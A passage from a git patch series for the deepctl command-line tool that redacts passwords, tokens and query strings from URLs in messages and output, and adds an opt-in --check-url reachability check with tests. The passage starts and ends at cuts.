+# ── A token in the URL path ──
+
+DEEP = (
+    "https://u:URLPASS@cdn.example/s/URLPATHTOKEN/calls/call.wav?sig=URLSENTINELTOKEN"
+)
+
+
+def test_deep_url_path_is_cut_in_status_lines_but_kept_in_the_result(capsys):
+    client = Mock()
+    client.transcribe_url.return_value = {"results": {"channels": []}}
+    result = _prerecorded(client, DEEP, is_url=True, no_validate=False)
+    err = capsys.readouterr().err
+    assert "Transcribing https://cdn.example/…/call.wav" in err
+    assert "URLPATHTOKEN" not in err and "URLSENTINELTOKEN" not in err
+    assert "URLPASS" not in err
+    # Machine output keeps the path, never the user info or query string.
+    assert result.source_path == "https://cdn.example/s/URLPATHTOKEN/calls/call.wav"
+    assert "URLSENTINELTOKEN" not in result.model_dump_json()
+    # The request to Deepgram still gets the full URL.
+    assert client.transcribe_url.call_args.args[0] == DEEP
+
+
+@pytest.mark.parametrize("check_url", [False, True])
+def test_deep_url_error_text_shows_only_the_last_segment(check_url, monkeypatch):
+    _unreachable(monkeypatch)
+    url = DEEP if check_url else DEEP.replace("https:", "ftp:")
+    result = _prerecorded(
+        Mock(), url, is_url=True, no_validate=False, check_url=check_url
+    )
+    assert "://cdn.example/…/call.wav" in result.message
+    assert "URLPATHTOKEN" not in result.message
+
+
+def test_deep_url_table_shows_only_the_last_segment(capsys):
+    result = ListenResult(
+        status="success",
+        source="url",
+        source_path="https://cdn.example/s/URLPATHTOKEN/calls/call.wav",
+        mode="prerecorded",
+        model="nova-3",
+    )
+    ListenCommand()._print_prerecorded_result(result)
+    out = capsys.readouterr().out
+    assert "https://cdn.example/…/call.wav" in out
+    assert "URLPATHTOKEN" not in out
+
+
+# ── User info that urlparse can't see ──
+
+MALFORMED = [
+    "https://u:pa#URLPW@cdn.example/a.wav",
+    "https://u:pa?URLPW@cdn.example/a.wav",
+    "https://u:pa/URLPW@cdn.example/a/b.wav",
+    "https:///URLPW@cdn.example/y/a.wav",
+    "https://u/URLPW@cdn.example/a.wav",
+]
+
+
+@pytest.mark.parametrize("url", MALFORMED)
+@pytest.mark.parametrize("check_url", [False, True])
+def test_malformed_user_info_never_reaches_messages(url, check_url, capsys):
+    client = Mock()
+    client.transcribe_url.return_value = {"results": {"channels": []}}
+    # No request leaves the test: the HEAD check itself reports failure.
+    with patch(
+        "deepctl_shared_utils.validation._url_reach_problem",
+        return_value=("--check-url couldn't reach https://<redacted>/… (HTTP 404)", []),
+    ):
+        result = _prerecorded(
+            client, url, is_url=True, no_validate=False, check_url=check_url
+        )
+    err = capsys.readouterr().err
+    assert "URLPW" not in err and "u:pa" not in err
+    if result.status == "error":
+        assert result.message in (
+            "Not a valid URL: https://<redacted>/…",
+            "--check-url couldn't reach https://<redacted>/… (HTTP 404)",
+        )
+        assert "Error" not in err  # reported once, by the result
+    else:
+        assert result.source_path == "https://<redacted>/…"
+        assert "URLPW" not in result.model_dump_json()
+        # The request to Deepgram still gets the full URL.
+        assert client.transcribe_url.call_args.args[0] == url
+
+
+@pytest.mark.parametrize("url", MALFORMED)
+def test_malformed_user_info_without_validation(url, capsys):
+    client = Mock()
+    client.transcribe_url.return_value = {"results": {"channels": []}}
+    result = _prerecorded(client, url, is_url=True, no_validate=True)
+    assert "URLPW" not in capsys.readouterr().err
+    assert result.source_path == "https://<redacted>/…"
+    assert client.transcribe_url.call_args.args[0] == url
+
+
+def test_transcription_error_text_drops_user_info(capsys):
+    url = "https://u:URLPW@cdn.example/a.wav?sig=URLSENTINELTOKEN"
+    client = Mock()
+    client.transcribe_url.side_effect = RuntimeError(f"rejected {url}")
+    with pytest.raises(click.ClickException) as err:
+        _prerecorded(client, url, is_url=True, no_validate=True)
+    assert "URLPW" not in err.value.message
+    assert "URLSENTINELTOKEN" not in err.value.message
diff --git a/packages/deepctl-shared-utils/src/deepctl_shared_utils/validation.py b/packages/deepctl-shared-utils/src/deepctl_shared_utils/validation.py
index e0284f99..932c5e93 100644
--- a/packages/deepctl-shared-utils/src/deepctl_shared_utils/validation.py
+++ b/packages/deepctl-shared-utils/src/deepctl_shared_utils/validation.py
@@ -3,7 +3,8 @@
 import os
 import re
 from pathlib import Path
-from urllib.parse import urlparse
+from typing import TypeAlias
+from urllib.parse import ParseResult, urlparse
 
 from .diagnostics import create_diagnostic_console
 from .models import FileInfo
@@ -54,177 +55,287 @@
 }
 
 
-def validate_audio_file(file_path: str | Path) -> bool:
-    """Validate that a file exists and appears to be an audio file.
+# A problem (the error to show, or None) and the warnings to show with it.
+Problems: TypeAlias = "tuple[str | None, list[str]]"
 
-    Args:
-        file_path: Path to the file
 
-    Returns:
-        True if file is valid audio file, False otherwise
-    """
+def _supported() -> str:
+    return ", ".join(sorted(SUPPORTED_AUDIO_EXTENSIONS))
+
+
+def audio_file_problem(file_path: str | Path) -> Problems:
+    """Why ``file_path`` can't be sent as audio (None when it can), and any
+    warnings. Prints nothing: the caller reports both, once."""
+    # A URL passed as a path may carry a token: show it without one.
+    shown = display_url(str(file_path)) if "://" in str(file_path) else file_path
+    warnings: list[str] = []
     try:
         path = Path(file_path)
-
-        # Check if file exists
         if not path.exists():
-            console.print(f"[red]Error:[/red] File not found: {file_path}")
-            return False
-
-        # Check if it's a file (not directory)
+            return f"File not found: {shown}", warnings
         if not path.is_file():
-            console.print(f"[red]Error:[/red] Path is not a file: {file_path}")
-            return False
-
-        # Check file extension
+            return f"Not a file: {shown}", warnings
         extension = path.suffix.lower()
         if extension not in SUPPORTED_AUDIO_EXTENSIONS:
-            console.print(
-                f"[yellow]Warning:[/yellow] File extension '{extension}' "
-                f"is not in supported list"
+            return (
+                f"{shown} doesn't look like an audio file "
+                f"({extension or 'no extension'}). Supported: {_supported()}. "
+                "Pass --no-validate to send it anyway.",
+                warnings,
             )
-            console.print(
-                f"[dim]Supported extensions: "
-                f"{', '.join(sorted(SUPPORTED_AUDIO_EXTENSIONS))}[/dim]"
-            )
-            return False
-
-        # Check if file is readable
         if not os.access(path, os.R_OK):
-            console.print(f"[red]Error:[/red] File is not readable: {file_path}")
-            return False
-
-        # Check file size (warn if very large)
+            return f"File is not readable: {shown}", warnings
         size_mb = path.stat().st_size / (1024 * 1024)
         if size_mb > 500:  # 500 MB
-            console.print(
-                f"[yellow]Warning:[/yellow] Large file detected ({size_mb:.1f} MB)"
+            warnings.append(
+                f"Large file ({size_mb:.1f} MB): it may take longer to process."
             )
-            console.print("[dim]Large files may take longer to process[/dim]")
+        return None, warnings
+    except Exception as e:
+        return (
+            f"Couldn't check {shown}: {scrub_url_text(e, str(file_path))}",
+            warnings,
+        )
 
-        return True
 
-    except Exception as e:
-        console.print(f"[red]Error validating file:[/red] {e}")
-        return False
+def _print(problems: Problems) -> bool:
+    problem, warnings = problems
+    for warning in warnings:
+        console.print(f"[yellow]Warning:[/yellow] {warning}")
+    if problem is not None:
+        console.print(f"[red]Error:[/red] {problem}")
+    return problem is None
 
 
-def validate_url(url: str, check_accessibility: bool = True) -> bool:
-    """Validate URL format and optionally check accessibility.
+def validate_audio_file(file_path: str | Path) -> bool:
+    """Validate that a file exists and appears to be an audio file.
+
+    Prints the problem and warnings (see :func:`audio_file_problem`).
 
     Args:
-        url: URL to validate
-        check_accessibility: Whether to check if URL is accessible
+        file_path: Path to the file
 
     Returns:
-        True if URL is valid, False otherwise
+        True if file is valid audio file, False otherwise
+    """
+    return _print(audio_file_problem(file_path))
+
+
+_SCHEME_RE = re.compile(r"\s*([A-Za-z][A-Za-z0-9+.\-]*)://(.*)", re.S)
+
+
+def _parsed(url: str) -> ParseResult | None:
+    """``urlparse(url)`` when it has a scheme, a host and a valid port.
+
+    ``None`` otherwise: a password holding an unescaped ``/``, ``?`` or
+    ``#`` ends the authority early and shows up as a bad port or host.
     """
+    if not _SCHEME_RE.match(url):
+        return None
     try:
-        # Parse URL
-        parsed = urlparse(url)
+        parts = urlparse(url)
+        parts.port  # noqa: B018 (raises ValueError on a bad port)
+    except ValueError:
+        return None
+    if not parts.scheme or not parts.hostname:
+        return None
+    return parts
 
-        # Check basic URL structure
-        if not parsed.scheme or not parsed.netloc:
-            console.print(f"[red]Error:[/red] Invalid URL format: {url}")
-            return False
 
-        # Check scheme
-        if parsed.scheme not in ("http", "https"):
-            console.print(
-                f"[red]Error:[/red] Only HTTP/HTTPS URLs are supported: {url}"
-            )
-            return False
+def _url_parts(url: str) -> tuple[str, str, str] | None:
+    """``(scheme, host[:port], path)`` when no user info can show.
+
+    ``None`` when the URL doesn't parse, or when an ``@`` appears outside the
+    parsed authority: that may be user info whose password holds ``/``, ``?``
+    or ``#``, so no part of it is shown.
+    """
+    parts = _parsed(url)
+    if parts is None:
+        return None
+    match = _SCHEME_RE.match(url)
+    rest = match.group(2) if match else ""
+    if rest.count("@") != parts.netloc.count("@"):
+        return None
+    return parts.scheme, parts.netloc.rpartition("@")[2], parts.path
+
+
+def _redacted(url: str) -> str:
+    """The shown form of a URL that can't be parsed safely."""
+    match = _SCHEME_RE.match(url)
+    if match:
+        return f"{match.group(1).lower()}://<redacted>/…"
+    if "@" in url:
+        return "<redacted>"
+    return re.split(r"[?#]", url, maxsplit=1)[0]
+
+
+def output_url(url: str) -> str:
+    """``url`` for machine output: no user info, query string or fragment.
+
+    Presigned URLs carry their token in the query string, so a URL is never
+    shown, logged or echoed whole. The path is kept: automation needs it to
+    identify the file. A URL that can't be parsed safely is shown as
+    ``scheme://<redacted>/…``.
+    """
+    parts = _url_parts(url)
+    if parts is None:
+        return _redacted(url)
+    scheme, host, path = parts
+    return f"{scheme}://{host}{path}"
+
+
+def display_url(url: str) -> str:
+    """``url`` for status lines and errors: ``scheme://host/…/<last segment>``.
 
-        # Check if URL looks like an audio file
+    As :func:`output_url`, and the path is cut to its last segment, since some
+    hosts put a token in the path. A path of one segment is shown whole.
+    """
+    parts = _url_parts(url)
+    if parts is None:
+        return _redacted(url)
+    scheme, host, path = parts
+    segments = [s for s in path.split("/") if s]
+    if len(segments) <= 1:
+        return f"{scheme}://{host}{path}"
+    tail = "/" if path.endswith("/") else ""
+    return f"{scheme}://{host}/…/{segments[-1]}{tail}"
+
+
+def scrub_url_text(text: object, url: str) -> str:
+    """``text`` (an error message) with ``url``'s query and user info removed.
+
+    Every piece of the raw text before the URL's last ``@`` is replaced, so a
+    message that quotes part of a password shows ``<redacted>`` instead.
+    """
+    out = str(text)
+    match = _SCHEME_RE.match(url)
+    rest = match.group(2) if match else url
+    if "@" in rest:
+        secret = rest.rpartition("@")[0]
+        pieces = [secret, *re.split(r"[:/?#@]", secret)]
+        for piece in sorted(pieces, key=len, reverse=True):
+            if len(piece) >= 2:
+                out = out.replace(piece, "<redacted>")
+    return _no_query(out)
+
+
+def url_problem(url: str, check_accessibility: bool = False) -> Problems:
+    """Why ``url`` can't be sent (None when it can), and any warnings.
+
+    By default only the format is checked (an http or https scheme and a
+    host), with no network access. ``check_accessibility`` also sends a
+    HEAD request (no credentials, no cookies). Prints nothing: the caller
+    reports both, once.
+    """
+    shown = display_url(url)
+    warnings: list[str] = []
+    try:
+        parsed = _parsed(url)
+        if parsed is None:
+            return f"Not a valid URL: {shown}", warnings
+        if parsed.scheme not in ("http", "https"):
+            return f"URLs must start with http:// or https://: {shown}", warnings
         path = parsed.path.lower()
         if path:
             extension = Path(path).suffix
             if extension and extension not in SUPPORTED_AUDIO_EXTENSIONS:
-                console.print(
-                    f"[yellow]Warning:[/yellow] URL doesn't appear to be an "
-                    f"audio file: {url}"
+                warnings.append(
+                    f"{shown} doesn't look like an audio file ({extension}). "
+                    f"Supported: {_supported()}."
                 )
-                console.print(
-                    f"[dim]Expected extensions: "
-                    f"{', '.join(sorted(SUPPORTED_AUDIO_EXTENSIONS))}[/dim]"
-                )
-
-        # Check accessibility if requested
         if check_accessibility:
-            return _check_url_accessibility(url)
-
-        return True
-
+            problem, more = _url_reach_problem(url)
+            return problem, warnings + more
+        return None, warnings
     except Exception as e:
-        console.print(f"[red]Error validating URL:[/red] {e}")
-        return False
+        return f"Not a valid URL: {shown} ({scrub_url_text(e, url)})", warnings
 
 
-def _check_url_accessibility(url: str) -> bool:
-    """Check if URL is accessible.
+def validate_url(url: str, check_accessibility: bool = False) -> bool:
+    """Validate URL format and optionally check accessibility.
+
+    Prints the problem and warnings (see :func:`url_problem`).
 
     Args:
-        url: URL to check
+        url: URL to validate
+        check_accessibility: Also send a HEAD request (no credentials, no
+            cookies) to check the URL is reachable
 
     Returns:
-        True if accessible, False otherwise
+        True if URL is valid, False otherwise
+    """
+    return _print(url_problem(url, check_accessibility))
+
+
+def _no_query(text: object) -> str:
+    """``text`` with any URL query string removed."""
+    return re.sub(r"\?\S*", "", str(text))
+
+
+_CHECK_TIMEOUT_S = 10.0
+
+
+def _url_reach_problem(url: str) -> Problems:
+    """``--check-url``: why ``url`` can't be reached (None when it can),
+    and warnings about what it serves.
+
+    The request carries no API key and keeps no cookies: it goes to a host
+    the user named, not to Deepgram.
     """
     import httpx
 
+    shown = display_url(url)
+    warnings: list[str] = []
+
+    def unreachable(why: str) -> Problems:
+        return f"--check-url couldn't reach {shown} ({why})", warnings
+
     try:
-        console.print("[dim]Checking URL accessibility...[/dim]")
+        with httpx.Client(timeout=_CHECK_TIMEOUT_S) as client:
+            from http.cookiejar import DefaultCookiePolicy
 
-        with httpx.Client(timeout=10.0) as client:
+            client.cookies.jar.set_policy(DefaultCookiePolicy(allowed_domains=[]))
             # Try HEAD first; fall back to a ranged GET if the server
             # doesn't support HEAD (some CDNs/redirect services return
             # 404 or 405 for HEAD but serve GET fine).
             response = client.head(url, follow_redirects=True)
 
             if response.status_code not in range(200, 400):
-                response = client.get(
-                    url,
-                    follow_redirects=True,
-                    headers={"Range": "bytes=0-0"},
+                # Streamed, and the body is never read: a server that
+                # ignores Range can't make this load the whole file.
+                with client.stream(
+                    "GET", url, follow_redirects=True, headers={"Range": "bytes=0-0"}
+                ) as response:
+                    pass
+
+            if response.status_code not in (200, 206):
+                return unreachable(f"HTTP {response.status_code}")
+            content_type = response.headers.get("content-type", "").lower()
+            if content_type and not any(
+                mime in content_type for mime in AUDIO_MIME_TYPES
+            ):
+                warnings.append(
+                    f"{shown} is served as {content_type}, which may not be audio."
                 )
-
-            if response.status_code in (200, 206):
-                # Check content type if available
-                content_type = response.headers.get("content-type", "").lower()
-                if content_type and not any(
-                    mime in content_type for mime in AUDIO_MIME_TYPES
-                ):
-                    console.print(
-                        f"[yellow]Warning:[/yellow] Content type may not be "
-                        f"audio: {content_type}"
+            content_length = response.headers.get("content-length")
+            if content_length and content_length.isdigit():
+                size_mb = int(content_length) / (1024 * 1024)
+                if size_mb > 500:  # 500 MB
+                    warnings.append(
+                        f"Large file ({size_mb:.1f} MB): it may take longer to process."
                     )
-
-                # Check content length if available
-                content_length = response.headers.get("content-length")
-                if content_length:
-                    size_mb = int(content_length) / (1024 * 1024)
-                    if size_mb > 500:  # 500 MB
-                        console.print(
-                            f"[yellow]Warning:[/yellow] Large file detected "
-                            f"({size_mb:.1f} MB)"
-                        )
-
-                return True
-            else:
-                console.print(
-                    f"[red]Error:[/red] URL not accessible "
-                    f"(HTTP {response.status_code}): {url}"
-                )
-                return False
+            return None, warnings
 
     except httpx.TimeoutException:
-        console.print(f"[red]Error:[/red] URL request timed out: {url}")
-        return False
-    except httpx.RequestError as e:
-        console.print(f"[red]Error:[/red] Failed to access URL: {e}")
-        return False
+        return unreachable(f"no answer within {_CHECK_TIMEOUT_S:g} s")
     except Exception as e:
-        console.print(f"[red]Error checking URL accessibility:[/red] {e}")
-        return False
+        return unreachable(scrub_url_text(e, url) or type(e).__name__)
+
+
+def _check_url_accessibility(url: str) -> bool:
+    """Check if URL is accessible (see :func:`_url_reach_problem`); prints
+    the problem and warnings."""
+    return _print(_url_reach_problem(url))
 
 
 def validate_api_key(api_key: str) -> bool:
diff --git a/packages/deepctl-shared-utils/tests/unit/test_validation_url.py b/packages/deepctl-shared-utils/tests/unit/test_validation_url.py
new file mode 100644
index 00000000..9c0e0fee
--- /dev/null
+++ b/packages/deepctl-shared-utils/tests/unit/test_validation_url.py
@@ -0,0 +1,367 @@
+"""URL source checks: format only by default, an opt-in HEAD request."""
+
+from __future__ import annotations
+
+import threading
+import time
+from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
+from io import StringIO
+from typing import ClassVar
+
+import httpx
+import pytest
+from deepctl_shared_utils import validation
+from deepctl_shared_utils.validation import (
+    display_url,
+    output_url,
+    scrub_url_text,
+    validate_url,
+)
+from rich.console import Console
+
+TOKEN = "X-Amz-Signature=URLSENTINELTOKEN"
+
+
+@pytest.fixture
+def printed(monkeypatch) -> StringIO:
+    buffer = StringIO()
+    monkeypatch.setattr(
+        validation, "console", Console(file=buffer, width=400, no_color=True)
+    )
+    return buffer
+
+
+@pytest.mark.parametrize(
+    ("url", "shown"),
+    [
+        ("https://h.example/a.wav", "https://h.example/a.wav"),
+        (f"https://h.example/a.wav?{TOKEN}&b=1", "https://h.example/a.wav"),
+        ("https://u:p@h.example:8443/x/a.wav#t", "https://h.example:8443/x/a.wav"),
+        (f"http://[::1]:8080/a.wav?{TOKEN}", "http://[::1]:8080/a.wav"),
+        (f"not a url?{TOKEN}", "not a url"),
+    ],
+)
+def test_output_url(url, shown):
+    assert output_url(url) == shown
+    # One path segment or none: status lines show the same thing.
+    if shown.count("/") <= 3:
+        assert display_url(url) == shown
+
+
+@pytest.mark.parametrize(
+    ("url", "full", "shown"),
+    [
+        (
+            f"https://u:p@cdn.example/s/URLPATHTOKEN/a.wav?{TOKEN}",
+            "https://cdn.example/s/URLPATHTOKEN/a.wav",
+            "https://cdn.example/…/a.wav",
+        ),
+        (
+            "https://h.example:8443/x/y/",
+            "https://h.example:8443/x/y/",
+            "https://h.example:8443/…/y/",
+        ),
+        (
+            "https://u:p@h.example:8443/x/a.wav#t",
+            "https://h.example:8443/x/a.wav",
+            "https://h.example:8443/…/a.wav",
+        ),
+        ("https://h.example/a/", "https://h.example/a/", "https://h.example/a/"),
+        ("https://h.example", "https://h.example", "https://h.example"),
+        ("https://h.example/", "https://h.example/", "https://h.example/"),
+    ],
+)
+def test_display_url_keeps_only_the_last_path_segment(url, full, shown):
+    assert output_url(url) == full
+    assert display_url(url) == shown
+
+
+def test_format_check_makes_no_request(monkeypatch, printed):
+    def no_client(*args, **kwargs):
+        raise AssertionError("validate_url opened an HTTP client")
+
+    monkeypatch.setattr(httpx, "Client", no_client)
+    assert validate_url(f"https://h.example/a.wav?{TOKEN}") is True
+    assert printed.getvalue() == ""
+
+
+@pytest.mark.parametrize(
+    "url",
+    [
+        f"https:///a.wav?{TOKEN}",
+        f"https://user@/a.wav?{TOKEN}",
+        f"ftp://h.example/a.wav?{TOKEN}",
+        f"h.example/a.wav?{TOKEN}",
+    ],
+)
+def test_bad_format_is_rejected_without_the_query(url, printed):
+    assert validate_url(url) is False
+    assert "Error:" in printed.getvalue()
+    assert "URLSENTINELTOKEN" not in printed.getvalue()
+
+
+def test_non_audio_warning_drops_the_query(printed):
+    assert validate_url(f"https://h.example/page.html?{TOKEN}") is True
+    assert "https://h.example/page.html" in printed.getvalue()
+    assert "URLSENTINELTOKEN" not in printed.getvalue()
+
+
+class _Origin(BaseHTTPRequestHandler):
+    """Sets a cookie and redirects once, then answers 200 or ``status``."""
+
+    seen: ClassVar[list[dict[str, str | None]]] = []
+    status = 200
+
+    def do_HEAD(self):
+        _Origin.seen.append(
+            {
+                "path": self.path,
+                "authorization": self.headers.get("Authorization"),
+                "cookie": self.headers.get("Cookie"),
+            }
+        )
+        if self.path.startswith("/start"):
+            self.send_response(302)
+            self.send_header("Set-Cookie", "session=URLCOOKIE; Path=/")
+            self.send_header("Location", "/audio.wav?" + TOKEN)
+        else:
+            self.send_response(_Origin.status)
+            self.send_header("Content-Type", "audio/wav")
+        self.send_header("Content-Length", "0")
+        self.end_headers()
+
+    do_GET = do_HEAD
+
+    def log_message(self, *args):
+        pass
+
+
+@pytest.fixture
+def origin():
+    _Origin.seen = []
+    _Origin.status = 200
+    server = ThreadingHTTPServer(("127.0.0.1", 0), _Origin)
+    thread = threading.Thread(target=server.serve_forever, daemon=True)
+    thread.start()
+    yield f"http://127.0.0.1:{server.server_address[1]}"
+    server.shutdown()
+    server.server_close()
+
+
+def test_check_url_sends_head_without_credentials_or_cookies(origin, printed):
+    assert validate_url(f"{origin}/start/a.wav?{TOKEN}", check_accessibility=True)
+    assert [r["path"].split("?")[0] for r in _Origin.seen] == [
+        "/start/a.wav",
+        "/audio.wav",
+    ]
+    assert all(r["authorization"] is None for r in _Origin.seen)
+    assert all(r["cookie"] is None for r in _Origin.seen)
+    assert "URLSENTINELTOKEN" not in printed.getvalue()
+
+
+def test_check_url_failure_drops_the_query(origin, printed):
+    _Origin.status = 403
+    assert not validate_url(f"{origin}/a.wav?{TOKEN}", check_accessibility=True)
+    assert "HTTP 403" in printed.getvalue()
+    assert f"{origin}/a.wav" in printed.getvalue()
+    assert "URLSENTINELTOKEN" not in printed.getvalue()
+
+
+def test_check_url_connection_error_drops_the_query(printed):
+    url = f"http://127.0.0.1:9/a.wav?{TOKEN}"
+    assert not validate_url(url, check_accessibility=True)
+    assert "--check-url couldn't reach http://127.0.0.1:9/a.wav (" in printed.getvalue()
+    assert "URLSENTINELTOKEN" not in printed.getvalue()
+
+
+def test_httpx_loads_only_for_the_check():
+    import subprocess
+    import sys
+
+    code = (
+        "import sys; from deepctl_shared_utils import validation; "
+        "validation.validate_url('https://h.example/a.wav'); "
+        "print('httpx' in sys.modules)"
+    )
+    out = subprocess.run(
+        [sys.executable, "-c", code], capture_output=True, text=True, check=True
+    )
+    assert out.stdout.strip() == "False"
+
+
+# ── The GET fallback never reads the body ────────────────────────────
+
+BIG = 100 * 1024 * 1024
+
+
+class _IgnoresRange(BaseHTTPRequestHandler):
+    """HEAD -> 405; GET ignores Range and sends 100 MB."""
+
+    protocol_version = "HTTP/1.1"
+    sent: ClassVar[list[int]] = []
+
+    def do_HEAD(self):
+        self.send_response(405)
+        self.send_header("Content-Length", "0")
+        self.end_headers()
+
+    def do_GET(self):
+        self.send_response(200)
+        self.send_header("Content-Type", "audio/wav")
+        self.send_header("Content-Length", str(BIG))
+        self.end_headers()
+        chunk = b"\0" * (1 << 16)
+        sent = 0
+        try:
+            while sent < BIG:
+                self.wfile.write(chunk)
+                sent += len(chunk)
+        except OSError:
+            pass
+        _IgnoresRange.sent.append(sent)
+
+    def log_message(self, *args):
+        pass
+
+
+def test_get_fallback_reads_headers_only(printed):
+    _IgnoresRange.sent = []
+    server = ThreadingHTTPServer(("127.0.0.1", 0), _IgnoresRange)
+    thread = threading.Thread(target=server.serve_forever, daemon=True)
+    thread.start()
+    try:
+        url = f"http://127.0.0.1:{server.server_address[1]}/big.wav?{TOKEN}"
+        assert validate_url(url, check_accessibility=True) is True
+        deadline = time.monotonic() + 10
+        while not _IgnoresRange.sent and time.monotonic() < deadline:
+            time.sleep(0.05)
+        server.shutdown()
+    finally:
+        server.server_close()
+    # The client closed the connection after the headers: the server could
+    # write only what fits in the socket buffers, far short of 100 MB.
+    assert _IgnoresRange.sent and _IgnoresRange.sent[0] < BIG // 4
+    assert "URLSENTINELTOKEN" not in printed.getvalue()
+
+
+# ── User info that urlparse can't see ──
+
+REDACTED = "https://<redacted>/…"
+
+
+@pytest.mark.parametrize(
+    ("url", "valid_format"),
+    [
+        # A password with an unescaped #, ? or / ends the authority early.
+        ("https://u:pa#URLPW@cdn.example/a.wav", False),
+        ("https://u:pa?URLPW@cdn.example/a.wav", False),
+        ("https://u:pa/URLPW@cdn.example/a/b.wav", False),
+        (f"https://u:pa/URLPW@cdn.example/a/b.wav?{TOKEN}", False),
+        # An empty authority: a WHATWG parser reads this as user info.
+        ("https:///URLPW@cdn.example/y/a.wav", False),
+        ("https://user@/a.wav", False),
+        # Parses, but an @ sits outside the authority: never shown.
+        ("https://u/URLPW@cdn.example/a.wav", True),
+        ("https://user?URLPW@cdn.example/a.wav", True),
+        ("HTTPS://u/URLPW@cdn.example/x/a.wav", True),
+    ],
+)
+def test_malformed_user_info_is_redacted(url, valid_format, printed):
+    assert output_url(url) == REDACTED
+    assert display_url(url) == REDACTED
+    assert validate_url(url) is valid_format
+    shown = printed.getvalue()
+    assert "URLPW" not in shown and "u:pa" not in shown
+    if not valid_format:
+        assert f"Not a valid URL: {REDACTED}" in shown
+
+
+@pytest.mark.parametrize(
+    ("url", "full", "shown"),
+    [
+        (
+            "https://u%40x:URLPW%40y@h.example/a/b.wav",
+            "https://h.example/a/b.wav",
+            "https://h.example/…/b.wav",
+        ),
+        (
+            f"https://u:URLPW@[::1]:8443/x/a.wav?{TOKEN}",
+            "https://[::1]:8443/x/a.wav",
+            "https://[::1]:8443/…/a.wav",
+        ),
+        (
+            "https://u:URLPW@h.example:8443/a.wav",
+            "https://h.example:8443/a.wav",
+            "https://h.example:8443/a.wav",
+        ),
+        (
+            "https://u:URLPW@[2001:db8::1]/s/a.wav",
+            "https://[2001:db8::1]/s/a.wav",
+            "https://[2001:db8::1]/…/a.wav",
+        ),
+    ],
+)
+def test_well_formed_user_info_is_dropped(url, full, shown, printed):
+    assert output_url(url) == full
+    assert display_url(url) == shown
+    assert validate_url(url) is True
+    assert "URLPW" not in printed.getvalue()
+
+
+@pytest.mark.parametrize(
+    "url", ["https://h.example:99999/a.wav", "https://[::1/a.wav", "https://h:x/a"]
+)
+def test_unparseable_url_is_redacted(url, printed):
+    assert display_url(url) == REDACTED
+    assert validate_url(url) is False
+    assert f"Not a valid URL: {REDACTED}" in printed.getvalue()
+
+
+def test_scrub_url_text_hides_quoted_password_pieces():
+    url = f"https://u:pa#URLPW@cdn.example/a.wav?{TOKEN}"
+    text = scrub_url_text(f"Invalid port: 'pa' in {url}", url)
+    assert "URLPW" not in text and "'pa'" not in text
+    assert "URLSENTINELTOKEN" not in text
+
+
+def test_check_url_errors_never_quote_user_info(monkeypatch, printed):
+    url = "https://u/URLPW@cdn.example/a.wav"
+
+    class _Boom:
+        def __init__(self, *args, **kwargs):
+            raise httpx.ConnectError(f"cannot connect to {url}")
+
+    monkeypatch.setattr(httpx, "Client", _Boom)
+    assert validate_url(url, check_accessibility=True) is False
+    assert "URLPW" not in printed.getvalue()
+
+
+def test_url_problem_prints_nothing(printed):
+    from deepctl_shared_utils.validation import url_problem
+
+    assert url_problem("https://h.example:99999/a.wav") == (
+        f"Not a valid URL: {REDACTED}",
+        [],
+    )
+    assert url_problem("ftp://h.example/a.wav")[0] == (
+        "URLs must start with http:// or https://: ftp://h.example/a.wav"
+    )
+    problem, warnings = url_problem("https://h.example/a.txt")
+    assert problem is None
+    assert warnings and "doesn't look like an audio file (.txt)" in warnings[0]
+    assert printed.getvalue() == ""
+
+
+def test_audio_file_problem_names_the_way_out(tmp_path, printed):
+    from deepctl_shared_utils.validation import audio_file_problem
+
+    doc = tmp_path / "notes.xyz"
+    doc.write_text("x")
+    problem, _ = audio_file_problem(doc)
+    assert problem is not None
+    assert problem.startswith(f"{doc} doesn't look like an audio file (.xyz).")
+    assert problem.endswith("Pass --no-validate to send it anyway.")
+    assert audio_file_problem(tmp_path / "gone.wav")[0] == (
+        f"File not found: {tmp_path / 'gone.wav'}"
+    )
+    assert printed.getvalue() == ""
diff --git a/src/deepctl/_manifest.d/listen.json b/src/deepctl/_manifest.d/listen.json
index d842cb90..fce76bd2 100644
--- a/src/deepctl/_manifest.d/listen.json
+++ b/src/deepctl/_manifest.d/listen.json
@@ -84,6 +84,27 @@
         "hidden": false,
         "help": "Seconds to wait at each step (connecting, sending, the response) before giving up. Not a limit on the whole run. Default: 300. Files and URLs only."
       },
+      {
+        "class": "option",
+        "name": "check_url",
+        "opts": [
+          "--check-url"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Check that the URL responds before transcribing: a HEAD request, then a 1-byte GET if needed. Sends no Deepgram API key."
+      },
       {
         "class": "option",
         "name": "no_validate",
diff --git a/src/deepctl/_manifest.d/transcribe.json b/src/deepctl/_manifest.d/transcribe.json
index b2d2fbd3..5a7f1b6d 100644
--- a/src/deepctl/_manifest.d/transcribe.json
+++ b/src/deepctl/_manifest.d/transcribe.json
@@ -84,6 +84,27 @@
         "hidden": false,
         "help": "Seconds to wait at each step (connecting, sending, the response) before giving up. Not a limit on the whole run. Default: 300. Files and URLs only."
       },
+      {
+        "class": "option",
+        "name": "check_url",
+        "opts": [
+          "--check-url"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Check that the URL responds before transcribing: a HEAD request, then a 1-byte GET if needed. Sends no Deepgram API key."
+      },
       {
         "class": "option",
         "name": "no_validate",

From 61eaa62a309093c7fda244d40155ab1789d4727e Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 18:18:55 -0400
Subject: [PATCH 26/88] fix(debug): send no stored credentials from debug
 network

debug network now makes its diagnostic requests with httpx instead of
requests and urllib3, one short-lived client per request.

- The probe no longer attaches credentials from ~/.netrc. requests added
  them for a matching (or default) netrc entry, including on the request
  made with certificate verification disabled; httpx does not read
  netrc. No Deepgram key was ever sent by these requests, and none is
  now.
- CA bundles from the environment keep working: SSL_CERT_FILE or
  SSL_CERT_DIR first (read by httpx), then REQUESTS_CA_BUNDLE, then
  CURL_CA_BUNDLE, as requests resolved them. verify=False ignores all of
